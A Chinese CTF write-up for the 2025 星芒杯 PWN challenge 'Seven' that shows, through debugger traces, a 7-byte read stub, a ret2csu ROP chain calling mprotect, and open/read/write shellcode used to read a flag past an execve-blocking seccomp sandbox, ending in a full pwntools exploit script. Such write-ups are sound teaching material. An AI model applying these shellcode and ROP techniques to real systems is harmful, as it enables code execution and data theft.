2025星芒杯-PWN-Seven

First Post:

Last Update:

Page View: loading...

2025星芒杯-PWN-Seven

老规矩先checksec

1
2
3
4
5
6
7
8
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

基本没什么保护

直接看IDA

main:

1
2
3
4
5
6
7
8
int __fastcall main(int argc, const char **argv, const char **envp)
{
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
seccomp();//开了沙箱
vuln();
return 0;
}

可以看见主函数调用了seccomp看一下禁用了什么

1
2
3
4
5
6
7
8
9
10
11
12
> seccomp-tools dump ./seven
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

只禁用了execve和execveat第一想法是打ORW,

但是在vuln函数中我们发现了一些问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void *vuln()
{
void *result; // rax
void *buf; // [rsp+8h] [rbp-8h]

result = mmap((void *)0x600000, 0x1000uLL, 7, 1048610, -1, 0LL);
buf = result;
if ( result != (void *)-1LL )
{
puts("Do you know what 7 characters can do?");
read(0, buf, 7uLL);
mprotect(buf, 0x1000uLL, 5);
return (void *)((__int64 (*)(void))buf)();
}
return result;
}

没有溢出,且允许读入的字节只有7个字节大小

先简单分析一下程序逻辑:

首先创建了一块0x600000-0x601000范围的区域,且具有RWX权限

然后检查 mmap内存映射是否成功

接着让我们读入七个字节,然后将刚刚那块内存区域的权限修改为RX权限,最后执行我们刚刚读入的数据

原来的思路是构造read的系统调用,然后将我们的orw读取到0x600008然后执行的,但是 mprotect(buf, 0x1000uLL, 5);打断了这一思路

换个思路,我们可以通过调用mprotect来重新修改0x600000这块区域的权限为RWX然后再构建一次读入orw最后执行输出flag

那我们怎么实现7字节来调用这么多函数呢,ret2csu

首先我们得构造这样一个read的系统调用

1
2
3
4
5
6
7
read = asm("""
xor edi,edi
pop rsi
pop rsi
syscall
ret
""")

我们的xor edi,edi为两个字节,两个pop rsi为2个字节,syscall为两个字节,ret为一个字节,刚刚好为7字节,满足了字节大小那能做些什么呢
直接到pwndbg里看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off
RAX 0
RBX 0
RCX 0x79569b51eb1b (mprotect+11) ◂— cmp rax, -0xfff
RDX 0x600000 ◂— xor edi, edi
RDI 0x600000 ◂— xor edi, edi
RSI 0x1000
R8 0x25
R9 0
R10 0x79569b4082e0 ◂— 0xf0022000056ec
R11 0x202
R12 0x7fffd30df6a8 —▸ 0x7fffd30e1376 ◂— 0x6e657665732f2e /* './seven' */
R13 0x401301 (main) ◂— endbr64
R14 0
R15 0x79569b7a8040 (_rtld_global) —▸ 0x79569b7a92e0 ◂— 0
RBP 0x7fffd30df580 —▸ 0x7fffd30df590 ◂— 1
*RSP 0x7fffd30df568 —▸ 0x4012fe (vuln+127) ◂— nop
*RIP 0x600000 ◂— xor edi, edi
───────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on
► 0x600000 xor edi, edi EDI => 0
0x600002 pop rsi RSI => 0x4012fe (vuln+127)
0x600003 pop rsi RSI => 0x7fffd30df590
0x600004 syscall <SYS_read>
0x600006 ret

0x600007 add byte ptr [rax], al
0x600009 add byte ptr [rax], al
0x60000b add byte ptr [rax], al
0x60000d add byte ptr [rax], al
0x60000f add byte ptr [rax], al
0x600011 add byte ptr [rax], al
────────────────────────────────────────────────────────────────────[ STACK
00:0000│ rsp 0x7fffd30df568 —▸ 0x4012fe (vuln+127) ◂— nop
01:0008│-010 0x7fffd30df570 —▸ 0x7fffd30df590 ◂— 1
02:0010│-008 0x7fffd30df578 —▸ 0x600000 ◂— xor edi, edi
03:0018│ rbp 0x7fffd30df580 —▸ 0x7fffd30df590 ◂— 1
04:0020│+008 0x7fffd30df588 —▸ 0x401345 (main+68) ◂— mov eax, 0
05:0028│+010 0x7fffd30df590 ◂— 1
06:0030│+018 0x7fffd30df598 —▸ 0x79569b429d90 (__libc_start_call_main+128) ◂— mov edi, eax
07:0038│+020 0x7fffd30df5a0 ◂— 0
──────────────────────────────────────────────────────────────────[ BACKTRACE
► 0 0x600000 None
1 0x4012fe vuln+127
2 0x401345 main+68
3 0x79569b429d90 __libc_start_call_main+128
4 0x79569b429e40 __libc_start_main+128
5 0x40115e _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>

可以看见此时rsp ->0x7fffd30df568,我们的rdx控制的是读入字节大小不用管,rdi也已经控制为0了,但是我们如果进行两次pop rsi,我们就可以通过read调用来修改rbp 0x7fffd30df580 —▸ 0x7fffd30df590 中的数据为我们的ROP链,然后再执行一次ret重新执行一遍我们的’read‘来执行我们的rop链

1
2
3
4
5
► 0x600004    syscall  <SYS_read>
fd: 0 (pipe:[48180])
buf: 0x7fffd30df590 ◂— 1
nbytes: 0x600000 ◂— xor edi, edi
0x600006 ret

执行ret:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
   0x600006   ret                                <0x600000>

0x600000 xor edi, edi EDI => 0
0x600002 pop rsi RSI => 0x4012fe (vuln+127)
0x600003 pop rsi RSI => 0x7ffed6eb59c0
0x600004 syscall <SYS_read>
► 0x600006 ret <0x600000>

0x600000 xor edi, edi EDI => 0
0x600002 pop rsi RSI => 0x7ffed6eb59c0
0x600003 pop rsi RSI => 0x401345 (main+68)
0x600004 syscall <SYS_io_submit>
0x600006 ret <0x600000>
────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffed6eb59a8 —▸ 0x600000 ◂— xor edi, edi
01:0008│ rbp 0x7ffed6eb59b0 —▸ 0x7ffed6eb59c0 —▸ 0x4013a6 (__libc_csu_init+86) ◂— add rsp, 8

再次ret:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
   0x600006                         ret                                <__libc_csu_init+86>

0x600000 xor edi, edi EDI => 0
0x600002 pop rsi RSI => 0x7ffed6eb59c0
0x600003 pop rsi RSI => 0x401345 (main+68)
0x600004 syscall <SYS_io_submit>
► 0x600006 ret <__libc_csu_init+86>

0x4013a6 <__libc_csu_init+86> add rsp, 8 RSP => 0x7ffed6eb59d0 (0x7ffed6eb59c8 + 0x8)
0x4013aa <__libc_csu_init+90> pop rbx RBX => 0
0x4013ab <__libc_csu_init+91> pop rbp RBP => 1
0x4013ac <__libc_csu_init+92> pop r12 R12 => 0x600000
0x4013ae <__libc_csu_init+94> pop r13 R13 => 0x1000
────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffed6eb59c0 —▸ 0x4013a6 (__libc_csu_init+86) ◂— add rsp, 8 ;这里rsp应该是0x7fffd30df590的,但是由于我重新调试了一遍,地址变了,但是流程还是一样的

可以看见此时开始执行了我们的ROP链,后面就是利用mprotect修改权限然后read读入ORW最后返回到我们的ORW地址执行ORW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
RIP  0x40101a (_init+26) ◂— ret 
───────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on
0x4013ac <__libc_csu_init+92> pop r12 R12 => 0x6161616161616161
0x4013ae <__libc_csu_init+94> pop r13 R13 => 0x6161616161616161
0x4013b0 <__libc_csu_init+96> pop r14 R14 => 0x6161616161616161
0x4013b2 <__libc_csu_init+98> pop r15 R15 => 0x6161616161616161
0x4013b4 <__libc_csu_init+100> ret <_init+26>

► 0x40101a <_init+26> ret <0x600008>

0x600008 mov edi, 0x1010101 EDI => 0x1010101
0x60000d xor edi, 0x1610101 EDI => 0x600000 (0x1010101 ^ 0x1610101)
0x600013 xor edx, edx EDX => 0
0x600015 xor esi, esi ESI => 0
0x600017 push 2
────────────────────────────────────────────────────────────────────[ STACK
00:0000│ rsp 0x7ffe81709228 —▸ 0x600008 ◂— mov edi, 0x1010101 /* 0x1f78101010101bf */
1
2
3
4
5
6
7
8
9
10
11
12
[DEBUG] Received 0x80 bytes:
00000000 66 6c 61 67 7b 65 78 61 6d 70 6c 65 7d 0a 00 00 │flag│{exa│mple│}···│
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000080
flag{example}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Process './seven' stopped with exit code -11 (SIGSEGV) (pid 5061)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
from LibcSearcher import*
context.log_level = 'debug'
context.arch = 'amd64'
psl = lambda data : p.sendline(data)
ps = lambda data : p.send(data)
pc = lambda data : p.recvuntil(data)
ph = lambda data : print(hex(data))
uu64 = lambda : u64(pc(b'\x7f')[-6::].ljust(8,b'\x00'))
binary_name = './seven'

HOST = "nc1.ctfplus.cn"
PORT = 25268
choice = input("Please input yes->Process,no->Remote")
if "y" in choice:
p = process(binary_name)
elif "n" in choice:
p = remote(HOST,PORT)
#libc = ELF("")
e = ELF(binary_name)
def bug():
gdb.attach(p)
pause()

# ========== Exploit 开始 ==========
def exp():
pc("Do you know what 7 characters can do?")
read = asm("""
xor edi,edi
pop rsi
pop rsi
syscall
ret
""")
print(len(read))
rdi = 0x00000000004013b3
gadget1 = 0x401390
gadget2 = 0x4013a6
ret = 0x000000000040101a
bug()
ps(read)

ret = 0x000000000040101a
p1 = p64(gadget2)+p64(0)+p64(0)+p64(1)+p64(0x600000)+p64(0x1000)+p64(0x7)+p64(e.got['mprotect'])+p64(gadget1)
p1+=p64(0)+p64(0)+p64(1)+p64(0)+p64(0x600000)+p64(0x1000)+p64(e.got['read'])+p64(gadget1)+b'a'*0x38+p64(ret)+p64(0x600008)

psl(p1)
flag_str = 0x600000
flag_content = 0x600f00
orw = b'/flag\x00\x00\x00'
orw += asm(shellcraft.open(flag_str))
orw += asm(shellcraft.read(3, flag_content, 0x80))
orw += asm(shellcraft.write(1, flag_content, 0x80))
pause()
psl(orw)

p.interactive()
exp()

cao-png.github.io感谢提供的思路